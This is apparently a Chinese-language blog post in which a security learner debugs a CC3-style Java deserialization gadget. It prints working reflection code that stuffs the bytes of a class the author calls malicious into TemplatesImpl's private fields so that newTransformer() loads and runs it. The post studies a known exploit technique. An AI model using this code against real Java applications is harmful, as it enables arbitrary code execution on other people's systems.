今天没事想自己写个CC3类加载
结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了,使劲改字段强行通过循环
刚才判定了,_auxClasses为transient,不能用这种方法
结果搞了个下面的代码出来
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Properties;public class CC3TemplatesImpl {public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));TemplatesImpl templatesClass = new TemplatesImpl();Field[] fields = templatesClass.getClass().getDeclaredFields();for (Field field : fields) {field.setAccessible(true);if (field.getName().equals("_bytecodes")) {field.set(templatesClass, new byte[][]{code});} else if (field.getName().equals("_name")) {field.set(templatesClass, "CC6TiedMapEntry");} else if (field.getName().equals("_tfactory")) {field.set(templatesClass, new TransformerFactoryImpl());} else if (field.getName().equals("_outputProperties")) {field.set(templatesClass, new Properties());} else if (field.getName().equals("_transletIndex")) {field.set(templatesClass, 0);} else if (field.getName().equals("_auxClasses")) {field.set(templatesClass, new HashMap<>());}}templatesClass.newTransformer();}
}
你别说,还真TM能跑。
说一下怎么搞的
调试的时候bytecode数组只有一个恶意类,就创建不了hashMap,后面就put不进去。
于是我bytecode传了两个恶意数组
field.set(templatesClass, new byte[][]{code,code});
结果进第二个catch,hashMap不能重复put
我又传了个空字节,我去,空字节不能defineClass,连循环都出不了
field.set(templatesClass, new byte[][]{code,new byte[0]});
突然想到,我自己搞个hashMap就完了,用他的干毛啊
于是
else if (field.getName().equals("_auxClasses")) {field.set(templatesClass, new HashMap<>());}
感觉像个大铸币写的